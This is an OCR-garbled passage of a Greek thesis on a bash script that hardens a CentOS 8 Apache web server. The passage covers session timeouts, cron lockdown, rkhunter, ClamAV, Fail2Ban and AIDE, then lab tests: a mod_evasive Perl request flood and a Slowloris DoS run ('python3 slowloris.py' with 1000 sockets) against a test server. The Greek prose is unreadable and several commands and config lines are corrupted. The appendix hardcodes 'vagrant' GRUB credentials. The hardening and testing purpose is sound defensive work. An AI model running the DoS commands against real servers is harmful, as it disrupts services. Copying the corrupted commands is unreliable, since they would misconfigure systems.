Aoyoplac o péca oe 7 NUEPEG KoL ANYOUV TNV 10Y0 TOV KOOKOV kdbe 30 nuépes. [a
™mv amevepyomoinomn evog Aoyaplacod o omoiog dev £xet ypnoomondel 35 nuépeg
petd omd v ANEN  Tov  KOOWKOL TPOcGPoong, EVNUEPOVOLUE TO  apyEio

letc/default/useradd pe v mopakdto eyypoen:

INACTIVE=35

3.3.13 KAeidwpo Sessions kot ovtouatn omrocHvoson
‘Evog ypnomg Otov eivar cuvdedepuévog atov Web server mg root ko éyet «Eexdoety
™V ovvedpia Tov avoryt, T0TE aTO UTOPEL Vo TPOKAAESEL Kivouvo aocpdielag. [a
vo pewwbdel awtdg o kivovvog acedielng, Bo mpémel voo KAVOLRE TO KOTAAANAO
configuration oto choTUE GOGTE VO OTOGUVOEEL CVTOUATO TOVG YPNOTEG TOL OEV
OAANAETIOPOVV e aVTO PETA OO KOO0 GLYKEKPIUEVO ¥POovIKO dtdotnua. o va
emtevydel avtd, to bash script centos8-apache-hardening epappdlet ta map axdtw

configurations oo apyeio /etc/systemd/logind.conf:
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LOGINDCONF='"/etc/systemd/logind.conf'

sed -i's/#KillUserProcesses=no/KillUserProcesses=1/ "$LOGINDCONF"
sed -i's/MKillExcludeUsers=root/KillExcludeUsers=root/ "$LOGINDCONF"
sed -i's/"#ldle Action=ignore/ldleAction=lock/ "$LOGINDCONF"

sed -i's/#ldle ActionSec=30min/Idle ActionSec=15min/' "$SLOGINDCONF"
sed -i's/"#RemovelPC=yes/RemovelPC=yes/' "$LOGINDCONF"

31T GUVEXELX YLO. VO AELTOVPYNGOLY Ta apordve configurations mpénet ekteheotei N

TOPAKAT® VIO (amd To SCript):

systemctl daemon-reload

Ta mopomdve configurations kiewddvouv to Session tov ypnom petd omd 15 Aentd
Un OAANAETIOPAGNC TOV HE TO GUGTNLA Kot TEPUATILEL OAEG TG TPEYOVOES dlepyacies
tov. O yprog root e€apeitot amd ToV AV TOUOTO TEPUATIGUO TOV S1EPYOCIDV.

O root ypnotg umopel va xpelootel va apnoel 10 otafud epyaciog Tov yuo Kémolo
xpovikd Sdomua. Opmeg o pmopel o ypo™C vor KAEWOMOCEL TO TEPUATIKO TOV
ovotnuo pe ypron tov epyaieiov vlock to onoio punopei va gykatactofei oe Centos 8

AEITOVPYIKO LLE TNV TOP OKATO EVIOAN:

sudo yum install viock* -y

3.3.14 KAeldmpo vémv USers kat dtaypaen axpeiaotov USers
Mo koA TpakTiky givar 1 dnuovpyia véov ypnotov pe €€ opwopov shell o
/bin/false ya vo arotpéyet mbavovg £16BoAElS va amoKkTHooVY TPOGPacT GTN YPUUUN
EVIOL®V pe ovtopatomoinuéve epyaieio. To bash script centos8-apache-hardening
epapudlel to mapamdve configurations kabmc emiong daypdgel Kol oypeiocTONS

YPNOTEG LE YPNON TOV TOPIKAT®D EVIOADV:

USERADD='"/etc/default/useradd'
sed -i's/SHELL=.*/SHELL=\/binVfalse/ "$USERADD"
sed -i's/" INACTIVE=*/INACTIVE=35/ "SUSERADD"
for users in games gnats irc list news uucp; do

userdel -r "$users" 2> /dev/null

done
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3.3.15 PuOuion kardAinlov DNS Resolvers
‘Eva oAb onpavtikd configuration mov nparypatonotet to bash script centos8-apache-
hardening sivon n amoeuyn ™¢ orioiwone twv DNS amaviiocemv. Avtd pog
Owpoxkilel amd toxdv man-in-the-middle attacks ka1 dAAovg tomovg embBéocemv kot
Kwvdvvoug aceoreiog. H acediion tov DNS pvOpuileton and to script pe xpnon tov

TOPAKATO KOO

RESO LVEDCONF='/etc/systemd/resolved.conf
NSSWITCH="/etc/nsswitch.conf'

dnsarray=( $(grep nameserver /etc/resolv.conf| sed 's/nameserver//g’) )
dnslist=${dnsarray[@]}

sed -i "s/"#DNS=.*/DNS=$dnslist/" "$SRESOLVEDCONF"

sed -i "s/"#Fallback DNS=.*/FallbackDNS=8.8.8.8 8.8.4.4/" "$RESOLVEDCONF"
sed -i "s/"#DNSSEC=.*/DNSSEC=allow-downgrade/" "$RESOLVEDCONF"

sed -i'/~hosts:/ s/files dns/files resolve dns/* SNSSWITCH

Télog vy va evnuepmBobv ot mopomdved oAloyés Oa mpémer vo yiver reload to

avTIGTO YO SErVice e ypnom TG mToPaKAT® EVIOANG:

systemctl daemon-reload

3.3.16 Amevepyomoinon cronjobs yio tovg ypnoteg

O Cron scheduler éxgt éva evoopatmpévo TpoOmo ELEYYOD Y10 TO TOOC EMITPETETOL KL
7ol Oyt va kavel schedule jobs oto Aertovpyucod. O éreyyog pvOuileton pécw tv
apyeiov /etc/cron.allow ko /etc/cron.deny. T va amoxieiotel évag ypiotn omd TV
xpnon tov cron, Ba mpémer to username tov va ecaydel oto apyeio cron.deny.
Avtiotora yio va emitpomel Oo mpémel to USername tov vo gwooydel oto apyeio
cron.allow. Av gmBopodue vo anevepyomomcovpe T Cron ammd OAOVG TOVG YPNOTEG
€KTOG TOL r00t, pmopovue vo mpocbésovue ™ ypauun ‘ALL’ oo apyeio cron.deny.

Enopévac to bash script centos8-apache-hardening npoxeipiévov vo. anevepyomomoet

T0, Cronjobs yia tovg ypnoteg, epapprdlet ta mapakdtm configurations wg e&ng:

rm /etc/cron.deny 2> /dev/null

rm /etc/at.deny 2> /dev/null
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echo 'root' > /etc/cron.allow

echo 'root' > /etc/at.allow

chown root:root /etc/cron*

chmod og-rwx /etc/cron*

chown root:root /etc/at*

chmod og-rwx /etc/at*

TéLog ya va yivouv apply ta mapaméve configurations yivovton reload to services pe

YPNON TOV AP OKAT® EVIOADV:

systemctl mask atd.service
systemctl stop atd.service

systemctl daemon-reload

3.3.17 Configuration tov logrotate

[evikd oto Asrtovpywkd cvomuata, ov givor  gvepyomomuévn 1M Astrtovpyia
Kataypagng, 10t 0. apyeio kataypagns 0o cvveyiCovv va avéavovv ce péyedog
puéxpt mov o @dkelog /var/log o yepiCer xor ov dev givar 10 /var oe Egxmpiotod
partition, tote Bo dnuiovpyRcovy TPOPANUE 6TO GVOTHUA KAOIGTOVTAS TO 0oTOOEG.
M A0on avtod Ttov TPOPANUATOS givar M evepyomoinom ™S ovoKOKAMONG T®V
apyeiov katoypaeng (logrotate). H evepyomoinon g mopandve Asttovpyiog yivetat
péom tov apyeiov /etc/logrotate.conf.

‘Etotl to bash script centos8-apache-hardening yia va evepyomomcetl v mop andve
Aettovpyio Kot va puOUicEL OOTE VO AVAKVKADVEL 0 WED Server ta apyeio Katoypopng
K@be pépa  eeopudler 10 mapakdrw Script ¢ configuration oto apyeio
letc/logrotate.conf wg eénc:

log_rotate_configs=$(cat <<EOF
# see "man logrotate™ for details
# rotate log files daily
daily
# use the syslog group by default, since this is the owning group

# of /var/log/syslog.
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su root syslog
# keep 7 days worth of backlogs
rotate 7
# create new (empty) log files after rotating old ones
create
# use date as a suffix of the rotated file
dateext
# compressed log files
compress
# use xz to compress
compresscmd /usr/bin/xz
uncompresscmd /usr/bin/unxz
compressext .xz
# packages drop log rotation information into this directory
include /etc/logrotate.d
# no packages own wtmp and btmp -- we will rotate them here
Ivar/log/wtmp {
monthly
create 0664 root utmp
minsize 1M
rotate 1
}
Ivar/log/btmp {
missingok
monthly
create 0600 root utmp
rotate 1
}
# system-specific logs may be also be configured here.
EOF

)

append_config "$log_rotate_configs" $LOGROTATE
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3.3.18 Eyxotdotacn kot evepyonoinom tov rkhunter

To rkhunter eivat éva unix-based gpyodeio to onoio okovapet yra rootkits, backdoors
Ko mBava tomikd exploits. To kével avtd mpaypotomoudvtag cvykpion tov SHA-1
hashes tov onuaviikdv @oakélov pe ypnon yvootdv kakdv online Bdacewmv
SESOUEVOV, YAYVEL Y10, TPOETIAEYLEVOVS POKELOVG TmV rootKits, AaBn o permissions,
Kpoppéva apyeio, vronteg cvpPforoceipés oe kernel modules ko e1d1kég dokuéc yo
Linux kot FreeBSD exdooeic. 'Eva axoun afloonugioto tov rkhunter ivon 6t éxet
evtayBei og SNUOPIAN Aettovpykd cvuotiuato 0nmg Fedora kol Debian «. a.

To epyakeio avtd €xel ypagptei oe Bourne shell yw vo emitpémer coppatomto.
Mmopei va tpéyel o€ 6xed0v OAa ta Unix cvotiuata [22].

To bash script centos8-apache-hardening eyxofiotd Kot evepyomolel t0 mapamaved

gpyodeio pe ypfion TV TAPAKATO EVIOADV:

sudo yum install —y rkhunter

RKHUNTERCONF='/etc/rkhunter.conf

sed -i 'S/ALLOW_SSH_ROOT_USER=*/ALLOW_SSH_ROOT_USER=no/g
SRKHUNTERCONF

append_config "CRON_DAILY_RUN=\"yes\"" $RKHUNTERCONF

append_config "APT_AUTOGEN=\"yes\"" $RKHUN TERCONF

H gxtédeon tov rkhunter epyaieiov yivetan pe xpnomn g mopoKidTte® EVIOANG:

rkhunter —propupd

3.3.19 Eykatdotaon kot evepyonoinon tov ClamAV
To ClamAV antivirus eivor éva dwpedv Aoywopikd, cross-platform kot avoiytod
KOO epyaAeio To omoio pmwopet vor aviyvedel TOALOVG TOTOVS PAAPEPDV AOYIC UKDV
ovumeprapPavopévov 100¢. Mia amd Tig KOpleg ypioelg Tov eivon o mail servers cov
évac copmthc server-side yio emails. H epappoyn avoartdydnke yio to Unix kot éxet
dwhéoeg ko third party exdooelg owbéoeg yuoo AlX, BSD, HP-UX, Linux,
macOS, OpenVMS, OSF (Tru64) ko Solaris. Amod v ékdoon 0.97.5, to ClamAV
Tpéxetl emiong kou og Microsoft Windows. OAeg ot ekdOGEI Kl Ol EVIIUEPMDOELG TOV

givon dro0éoueg dwpedv [23].
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To bash script centos8-apache-hardening eyxofiotd, evepyomoei to ClamAV
antivirus xon 1o opiler va tpéyer koBnuepwa (ue yprion tov cronjob scheduler)

EKTEADVTOG TIG TOPOKAT® EVIOLES:

sudo yum install —y clamav clamav-update

CLAMAVCONF='/etc/clamd.d/scan.conf
CLAMAVSERVICE='"/usr/lib/systemd/system/clamd@.service'
CRON_DAILY_CLAMSCAN-="/etc/cron.daily/user_clamscan'

setsebool -P antivirus_can_scan_system1

sed -i's/#LocalSocket \/run/LocalSocket VVrun/gt SCLAMAVCONF

sed -i's/scanner (%i) daemon/scanner daemon/g $SCLAMAVSERVICE

sed -i's/\fetcVclamd.d\%i.conf/\/etcVclamd.dVscan.conf/g' SCLAMAVSERVICE

freshclam

systemctl enable clamav-freshclam.service

systemctl start clamav-freshclam.service

mkdir /var/log/clamav/
touch /var/log/clamav/user_clamscan.log

cron_clamscan=$(cat <<EOF
#!/bin/bash
# SCAN_DIR="/home"
# LOG_FILE="/var/log/clamav/user_clamscan.log"
Jusr/bin/clamscan -i-r /home >> /var/log/clamav/user_clamscan.log
EOF
)
append_config "$cron_clamscan" $CRON_DAILY_CLAMSCAN
chmod +x $CRON_DAILY_CLAMSCAN

3.3.20 Eykatdotaon kot evepyonoinon tov Fail2Ban
To Fail2Ban givau évo Aoyiopiko mpoPreyng eiwoPoAng (intrusion prevention software
- IDS) 10 omoio mpocTatedel TOVG Servers and embéoeic brute-force. ‘Exet ypaotel oe

YA®ooo mpoypappatiopod Python, kou pmopei va tpééel o POSIX cvompato to
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omoilot €yovv pio JlEmMaPN 6€ £€vo GUOTNUHO EAEYXOV TOKETWV 1 GE EYKATEGTNUEVO
tomka firewall, yio map aderypa iptables 1 TCP Wrapper [24].
To bash script centos8-apache-hardening eykabiotd, evepyomotei to Fail2Ban pe

YPNOT TOV TOP AKAT® EVIOADV:

yum install -y fail2ban
log_info "Is going to enable Fail2Ban"
systemctl enable fail2ban

systemctl start fail2ban

jail_local=$(cat <<EOF
[ssh]

enabled = true

port = ssh

filter = sshd

logpath = /var/log/auth.log
maxretry = 3

EOF
)

touch /var/log/auth.log
append_config "$jail_local" $FAIL2BAN_CONFIG

TéLog ya va tepdoovy to mapoarave configurations ypeidleton va yivel emavekkivinon
tov fail2ban ko otn ovvéyewn extvmdveton to Status tov IDS pe ypnon tov

TOPOKAT® EVIOADV:

systemctl restart fail2ban

systemctl status fail2ban --no-pager

3.3.21 Eykatdotaon ko evepyonoinon tov AlDE
To Advanced Intrusion Detection Environment (AIDE) apyké avartoydnke cov pio

dWPeAV avTIKOTACTOGT TOV Tripwire pe v ddeto ovueovo. pe tovg 6povg tov GNU
General Public Licence (GPL).
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To AIDE maipver éva “otrypotvono” (snapshot) tng tpéyovong katdotoons Tov
ovoThuoTog, register hashes, ypovovg poromoicemv kot GALA SES0UEVO OVOPOPIKA
pe 1o apyxeio mov opilovtar amd TOV Odwyepom. Avtd 10 “oTiypdTmO”
YPNOOTOEITAL Y1 Vo Y TioEL pia Baon 1 omoia amodnkedeton Ko pmopel vo puiaydei
og po e&mtepikn ovokevn yioo backup.

O1av 0 dwyepiotg BEAeL va tpéet Eva test akepatdtnTog, o dloyelplotg TomobeTel
™mv Tponyoduevn £€kdoom g Pdong oe £va TposPacio HEPOS Kot divel odnyio 6To
AIDE va cvuykpiver v Baon évavtt tov mpaypotikod status tov cuotiuatog. Av €xet
ovuPel o oAAayr) oTov Server peta&d g onNuUovpyiog Toug GTIYUIOTLTOL KOl TOV
tpéxovtog test axepodtntag tov cvomuotog, o AIDE Ba v Bpet ko Ba tnv
avaeepel otov dwyelptot. Evoarlaktikd to AIDE pmopel va pvBuiotel va tpéyet
TEPOOIKA KoL vo  kdvel report tig oAloyég otov  dloyelploty  kabnpepwvd
ypnoponowwvtog oav scheduling teyvoioyio to cron, n omoia eivor 1 Tpoemheyuévn
ovumeprpopd tov Debian AIDE makétov.

Avto pmopel va givon ypfo1po Yo AOyoug ac@oeiag, yoti dedopnévng pog emPBrapng
aAlayng m omola pmopel va €xel ovuPel oto cvomua, Oa yiver report amd to AIDE
[25].

To bash script centos8-apache-hardening eykofwotd, evepyomoiei to AIDE xo

ypnoonotei to cron scheduling pe yprion oV TopaKAT® EVIOADV:

yum install —y aide

AIDECONFIG='"/etc/aide.conf
AIDE_CHECK_SERVICE='/etc/systemd/system/aidecheck.service'
AIDE_CHECK_TIMER="/etc/systemd/system/aidecheck.timer'

sed -i's/"Checksums =.*/Checksums = sha512/' $AIDECONFIG
log_info "Is going to set Aide postinstall”

aide --init

log_info "Building AIDE initial db, please wait..."

cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz 2> /dev/null 1>&2

log_info "Enabling AIDE check daily..."
aide_check_service=$(cat <<EOF
[Unit]
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Description=Aide Check
[Service]

Type=simple
ExecStart=/usr/sbin/aide --check
[Install]

WantedBy=multi- user.target
EOF

)
append_config "$aide_check_service" $AIDE_CHECK_SERVICE

aide_check_timer=$(cat <<EOF
[Unit]
Description=Aide check every day at midnight
[Timer]
OnCalendar=*-*-* 00:00:00
Unit=/etc/systemd/system/aidecheck.service
[Install]
WantedBy=multi- user.target
EOF
)
append_config "$aide_check_timer" $AIDE_CHECK_TIMER
chmod 0644 /etc/systemd/system/aidecheck.*

TéLog ya va evepyomoindei mAnpwg to AIDE tool, 6a tpénet va yivouv emavekkivinon

kou reload to mwapakdrw Services:

systemctl reenable aidecheck.timer
systemctl start aidecheck.timer

systemctl daemon-reload
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4 Aoxég Acpadeiog
e anTO T0 KEQAANO TOPOLGIALOVTOL 01 SOKILEG TTOV TTpayLaTtorolovvton 6to Centos
8 Web Server petd v oloxiipmon g exktéleong tov bash script centos8-apache-
hardening.sh. TTowo cvykekpyéva e€etaletar n opHN Aetrtovpyia to Mod_Security ko
tov Mod_Evasive petd amd thnv oLOKAPOON TOV OOPOITHTOV EYKATUCTACE®Y Kol
configurations am6 to bash script. Télog mpaypatomoleiton o SOKWAGTIKNY emifeon
Slowloris oto Centos 8 Web server mpiv kot pHeté TV 0OAOKANP®O™N KOl £YKATAGTACT
oAV TV arnapaitnTev Security hardening pvbuicewv tov bash script oto Centos 8
Web server mpokeipévov va a&oroynfei o Pabuodc emavénong acedrewag tov Web

Server.

4.1 Aok opBng Aettovpyiag tov Mod_Security

Mo vo Jdokwdoovue ov To mMod_security module doviever ocwotd, 6Oa
ypnowonomcovpe 1o curl yio vo otéAvoope HTTP requests oto Centos 8 Apache
Web Server. 'Evag and tovg mpoemiheypuévoug kavoveg tov mod_security sivor vo
KGvel reject ta requests to onoia £yovv User Agent “Nessus”. Avtdg o kavovag €xet
®G oKOmO Vo opveital TANPOEOpiEC o€  EMTWEUEVOLG TOL  YPNGUYLOTOOVV
OV TOLLOTOTTO NLEVOVS SCANNETS.

Mmopovpe pe v mopakatom curl eviodn va eléyEovpe ov to mod_security eivat

cmoTd puOGUEVO:

curl -i http//localhost -A Nessus

®a dovpe o anavmon 403 Forbidden 6nmg paivetot Kot 6TV TOpoKaTo EKOVAL:

HTTP/1.1 4083 Forbidden

Date: Mon, 07 Jun 20821 19:37:04 GMT

Server: Apache

Content-Length: 318

Content-Type: text/html; charset=is0-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.8//EN"=>

¥ Forbidden</title=
body=
orbidden</h1=
You don't have permission to access this resource.</p=
Additionally, a 483 Forbidden
0 5 ountered while trying to use an ErrorDocument to handle the request.</p>

Ewkéva 14.E Leyyog opOnig AertovpyiagTov Mod _Security
To mod_security urioxope 1o request yuti avayvopioe 6t o User Agent givon éva,

Nessus scan.
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To bash script centos8-apache-hardening.sh katéd ™v dupkela eKTEAEoNG TOL KO
HOMG €xel oAokAMpmoel to. omapaitnto installations kou configurations yo o
Mod_Security, dokwyaler av éxovv viver apply cwotd to mapoardve configurations

TPEYOVTOG TOV TOPaK AT test Kddka:

mod_security _status_code="curl -s -o /dev/null -w "%{http_code}" http://localhost -A
Nessus
if [ "$mod_security_status_code" == "403"]; then # 403 Forbidden
log_info "${COLOR_GREEN}Mod  security  test passed
successfully!${COLOR_DEFAULT}"

else
curl -i http://localhost -A Nessus
log_info "${COLOR_RED}Mod_security test failed!
${COLOR_DEFAULT}"
fi

Ye mepintmon emrvyiog, Snhadn av emotpogel to status code 403 amd T0 TOP ATAVED

curl, 161 gpeaviCetor 10 ToP OKAT® UAVLLLOL:

AMdg ov dev emotpagel T0 mopomdve Status code, tote egppovilel og KOKKVN

évoeign to uvopa: Mod_security test failed!

4.2 Aoxiun opbng Asttovpyiog tov Mod_ Evasive
INa va odokudooopue av 1o mod _evasive module dovievel ocwotd, Ha
ypnoonomoovpe to Perl script test.pl to omoio £xet ypagtei omd tovg Mod_Evasive
developers koi mpocopolaler o security DoS enifeon otov Apache Web Server.
Avtd 1o Script eykafictaton petd tmv ohokAnpwon tov mod_evasive oto path
fusr/share/doc/mod_evasive/test.pl kot Topokdto emcvvanteTol 0 KOIKAG Tov perl

script:

#!/usr/bin/perl

# test.pl: small script to test mod_dosevasive's effectiveness
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use 10::Socket;

use strict;

for(0..100) {
my($response);
my($SOCKET) = new 10::Socket::INET( Proto => "tcp",
PeerAddr=> "127.0.0.1:80");
if (! defined $SOCKET) { die $!; }
print $SSOCKET "GET /?$_ HTTP/1.0\\n\r\n";
$response = <$SOCKET>;
print $response;
close($SOCKET);
}

Na onueiwbei 011 Tpv amd v xpnHon Tov mapardve test.pl script mpayuatomoteiton
and 1o bash script centos8-apache-hardening.sh po 810pbwon pe ypnon ng

TOPOKAT® EVIOANG Y10 VO ETIGTPEYEL TO EMOVUNTO ATOTEAEG LA

MOD_EVASIVE_TEST_SCRIPT="/usr/share/doc/mod_evasive/test.pl
sed -i's/HTTPV/1.0\\n\n/HTTPV/1.0\\\n\r\n/g' $MOD_EVASIVE_TEST_SCRIPT

INa vo ypnowonomoovpue 10 mopamdve perl

script, apkel vo TpEEOVILE TNV TOPOKAT® EVIOAN:

sudo perl /usr/share/doc/mod_evasive/test.pl

oK

Forbidden
Forbidden
0K

Forbidden
Forbidden
Forbidden
Forbidden
0K

0K

Forbidden
Forbidden
Forbidden
Forbidden
Forbidden
Forbidden
0K

Forbidden
Forbidden
Forbidden
Forbidden
Forbidden

Kot 1 €€000G OV TEPUEVOLLLE VO TAPOLULE Eivarn
too HTTP/1.1 403 Forbidden 6nm¢ @aivovron kot
otV dumAovy] €Kéva To omoio. onpaivouy OTL 1

npocPaon £xel Konel o€ Kakdfovia requests:

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
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Av Bélovpe va tpé&ovpe to Tapomave Perl script and Ao host o omoiog Oa yTumdet
10 Centos 8 Apache Web Server, avtkofiotodue omd 10 mapamdve Script v
napauetpo PeerAddr kar Balovpe mv IP d1ievbvven tov Web Server mov 6éhovpe va
yTumnoovpe, dnAadn Palovpe:

PeerAddr=> " 172.28.128.21:80");

To bash script centos8-apache-hardening.sh xaté v d1dpkelo eKTELESNG TOV KO
oA €xel odoxkAnpmoel ta amapoitnta installations kou configurations yw to
mod_evasive module, doxkydler av €yovv vyiver apply ocwotd 1o mopombve

configurations tpéyovtag tov mopakato test koo

bad_request_count="perl $MOD_EVASIVE_TEST _SCRIPT | grep 'HTTP/1.1 400
Bad Request' | wc -I
if [ "$bad_request_count" -gt “80" ]; then
log_info "${COLOR_GREEN}Mod evasive test passed successfully!
${COLOR_DEFAULT}"

else
log_info "${COLOR_RED}Mod_evasive test failed!
${COLOR_DEFAULT}"
fi

Ye mepimtoon emvyiog, ONAadN emioTpopodv mive omd 80% 403 Forbidden

anavtioelg mov Oa eivan amotélecpa G ektédeong tov perl test.pl script tote

ELEAVICEL TO TOPOKATMO UNVOLLO ETTVYIOG :
[INFO] Mod

AlMmg av amotdyxel o mod_evasive test epgavilel pe kOKkvn entonuaven 1o €EAC
puivopo: Mod_evasive test failed!

EnmpocBeto. 1o mod evasive eueaviCer oto syslog otav n IP dievbvvon eivon
UTAOKOPIGUEVT. AVTO UITOpOVUE va To dovue PAEmovTag o mapokdtm log file pe my

EVIOAN:

sudo tail -f /var/log/messages

KOl LTTOPOVLLE VO SOVLE Y10, TAPAOELY L TNV TapakdTm £E000:

Jun 7 19:03:41 centos8 mod_evasive[2732]: Blacklisting address 192.168.1.42:
possible DoS attack.

75




4.3 Aoxwun Slowloris enifeong oto Centos 8 Web Server

43.1 Enibeon Slowloris npwv amd to Security Hardening tov Centos 8 Web
Server
Y10 Centos 8 Apache Web Server éyovpe @optdoel TOTIKA TV TOPOKAT® GEAOA M

omoio.  POPTMOVETAL KOVOVIKG ytomdvtag to  url tov apache web server:
http://172.28.128.21/

NETSCOUT

“Slowloris DDoS Attacks

What is a Slowloris DDoS Attack?

Slowloris is an application layer DDoS attack which uses partial HTTP requests to open
connections betw

n a single computer and a targeted Web server, then keeping those
connections open for as long as possible, thus overwheiming and slowing down the
target. This type of DDoS attack requires minimal bandwidth to launch and only impacts
the target web server, leaving other s s DDoS

er software, but has proven highly-effective

es and ports unaffected.

attacks can target many type of W

against Apache 1.x and 2.

What Are the Signs of a Slowloris DDoS
Attack?

Much as its name implies, a Slowioris DDoS attack is slow and methodical. The attack
involves sending partial HTTP requests to the targeted web server, with none ever being

2t ovvéxeln 0o VTEPPOPTOGOLUE TNV TOPUTAvVE 1oToceAida divovtag 1000

TOVTOYPOVEG ovvdéoels ue ypnon tov Slowloris script tov omoiov o kddKag

emovvantetal 6to [Hopaptnuo 2:

python3 slowloris.py 172.28.128.21 -p 80 -s 1000 --sleeptime 1
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72.268.128.21
Attacking 172.2
Creating sockets. ..
sending keep-alive headers... Z count:
sending keep-alive headers... 1 count:
sending keep-alive headers... < count:
sending keep-alive headers... < count:
sending keep-alive headers... cet count:
sending keep-alive headers... cet count:
sending keep-alive headers... cet count:
sending keep-alive headers... cet count:
sending keep-alive headers... cet count:
sending keep-alive headers... cet count:
sending keep-alive headers... cet count:
sending keep-alive headers... cet count:
sending keep-alive headers... cet count:
sending keep-alive headers... cet count:
sending keep-alive headers... cet count:
sending keep-alive headers... 1 count:
9] sending keep headers. .. < count:
40] Sending headers. .. < count:
8] sending keep-alive headers... < count:
53] sending keep-alive headers... < count:
58] sending keep-alive headers... g count:
:05] sending keep-alive headers. .. ¢ count:
:07] sending keep-alive headers. .. ¢ count:
9] sending keep-alive headers... ¢ count:

2V TOpoKATO EKOVE PAETOVLE OTL N 1IGTOGEAID O GTOUATNOE VO OVTOTOKPIVETOL

e Firefox
4.3.2 Enibeon Slowloris petd amd to Security Hardening tov Centos 8 Web

Server
Metd v olokAfpwon tov Security Hardening process pe ypnon tov bash script
centos8-apache-hardening.sh oto Centos 8 Web Server 6nmg PAémovue kot 67TIC

TOPOAKATO EWKOVEG:
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[ se / /
[REDIRECTED] -org.freedesktop.timedatel.
[REDIRECTED] / ? m/default.target —

ED] / ir 1d.service -
systemd-timedated.sery
tmp.mount — fusr/Llib/

tem/tmp.mount  2021-83-16 19:42:08
tmp.mount 7

SP[\..—LL&EHS dentifier: LGPL-2.1+
This file is part of systemd.

systemd is free software; you can redistribute it and/or modify it
under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation; either version 2.1 of the License, or
( 1 ersion.

get.wants/tmp.mount -> ../tmp.mount

-Documen:
~ConditionPathTssymbol icl ink

tDependencies

.target umount.target

get
.target

ode=1777,strictatime,nosuid,nodev

emctl enable tmp.mount' work:

[EXTENDED] ystemd-udev-trigger.service - /usr/lib/systemd/system/sys v-trigger.service.d/systemd-udev-trigger-no-reload.conf

7 overridden configur, found.
The execution time 1

Exkova 22. OhoxMipmon sktéheong script centos8-apache-hardening etov Apache Web Senver
vepPopTO®GOVUE Eava ™V mopomdve 1otoceAMda divoviag 1000 towtOYpoveg

ovvdéaelg pe ypnon tov slowloris script pe v map oxdtom eviorn:

python3 slowloris.py 172.28.128.21 -p 80 -s 1000 --sleeptime 1
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headers. .. < count:

keep-ali headers... Socket count:
ceep-alive headers... cet count:
i headers. .. < count:

headers. .. < count:

headers... Socket count

headers. .. < count

- headers. .. < count:
keep-ali headers. .. cet count:
keep-ali headers... Socket count:
keep-ali headers. .. cet count:
keep-ali headers. .. cet count:
keep-ali headers. .. cet count:
keep-ali headers. .. cet count:

]
3
5
5
5
5
5
5
5
5
5
3
5
5
5
5

[Mopoatmpodue O6TL yrordvtog ™V oehida oto Url: hitp://172.28.128.21/ poptdveton

KOVOVIKAQ OT®¢ PAETOVILE KoL GTNV TOPUKAT® EKOVOL:
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Under Attack? Call +1.7347945099 ) ContsctUs  Coreers  lnvestors  Blog

NETSCOUT Enwrpron Soions CODMUCHION SIS ity inausiies  Resourcs & Edueaion  Support Sovices  Company
Provider Solutions

~ Slowloris DDoS Attacks

What is a Slowloris DDoS Attack? P

the target we
cks can targe
against Apache 1.x and 2.x

What Are the Signs of a Slowloris DDoS
Attack?

Much as its name implies, a Slowloris DDoS attack is slow and methodical. The attack

([ Involves sending partial HTTP requests to the targeted web server, with none ever being
X compieted. As a result, the targeted server opens more connections, assuming the

Enopévmg, to security hardening process éxet oAokAnpwOei emtvydg oto Centos 8
Apache Web Server ko miéov avtéyet o Web Server ond miBavéc DDoOS emBéoeig

Y®Pig Kavéva TpoOPANLLOL.
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S5 Ilapaptuoto
5.1 Hapdapmmua 1: Kodikag tov centos8-apache-hardening.sh bash script
yia enavEnon acoaieiag Centos 8 Web Server

#!/bin/bash

DEV=1
SCRIPT_NAME='centos8-apache-hardening'
PWD=$(pwd)

FILE=${PWD}/step.dat'
LOCK_FILE=${PWD}"/${SCRIPT_NAME}.lok"

NEW_LINE=""

PREREQUISITES _PACKA GES='yum-utils vim wget httpd-devel expect net-tools at epel-release’
IPTABLES_CONFIG="etc/sysconfig/iptables’
IPTABLES_PACKA GE="iptables-services'
MOD_SECURITY="mod_security mod_security crs'
MOD_EVASIVE='mod_evasive'
MOD_EVASIVE_TEST_SCRIPT=/usr/share/doc/mod_evasive/test.pl'
HTTPD_CONF="etc/httpd/conf/ttpd.conf

HTTPD_HTM L=var/www/html/inde x.html’
BASE_MODULES="/etc/httpd/conf.modules.d/00-base.conf
MOD_SECURITY_CONF="etc/httpd/conf.d/mod_security.conf
MOD_EVASIVE_CONF="/etc/httpd/conf.d/mod_evasive.conf
CUSTOM_CRS_CONF="/etc/httpd/modsecurity.d/custom-crs.conf'
SSHD_ CONFIG="etc/ssh/sshd_config'
SSHD_PAM-='/etc/pam.d/sshd'

ISSUE_NET="etc/issue.net’
CURRENT_USER=${SUDO_USER:-$USER}
GRUB_SUPERUSER=vagrant'

GRUB_PASSPHRASE='vagrant'

MKPASSW D="usr/bin/grub2-mkpasswd-pbkdf2'
DEFAULTGRUB="etc/default/grub’

EXPECT =usr/bin/expect'
GRUB_40_CUSTOM="/etc/grub.d/40_custom’

UNW_PROT="dccp sctp rds tipc'
UNW_SERVICES="rpcbind'

MOD="bluetooth firewire-core net-pf-31 soundcore thunderbolt usb-midi usb-storage'
UNW_FS='cramfs freevxfs jffs2 hfs hfsplus squashfs udf vfat'
DISABLEFS="etc/modprobe.d/disablemnt.conf

DISABLEM OD='etc/ modprobe.d/disablemod.conf
DISABLENET =/etc/ modprobe.d/disablenet.conf

SYSTEM CONF='"etc/systemd/system.conf
USERCONF="etc/systemd/user.conf
COREDUMPCONF="etc/systemd/coredump.conf
LOGROTAT E="etc/logrotate.conf'

JOURNA LDCONF="etc/systemd/journald.conf
SYSCTL="etc/sysctl.conf
LIMITSCONF="etc/security/limits.conf’
ETC_PROFILE="etc/profile’

ETC_BASHRC=etc/bashrc’

HOSTS_ALLOW ='etc/hosts.allow’
HOSTS_DENY="/etc/hosts.deny"

LOGINDCONF="etc/systemd/logind.conf
LOGINDEFS="etc/login.defs'
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USERADD="/etc/default/useradd’

NET CONFIG="etc/netconfig’
RESOLVEDCONF="/etc/systemd/resolved.conf

NSSW IT CH="/etc/nsswitch.conf'

RKHUNTER_PACKA GE='"rkhunter'
RKHUNTERCONF="etc/rkhunter.conf

CLAMAYV_PACKA GES='clamav clamav-update clamd'
CLAMAVCONF=/etc/clamd.d/scan.conf
CLAMAVSERVICE="ust/lib/systemd/system/clamd @.service'
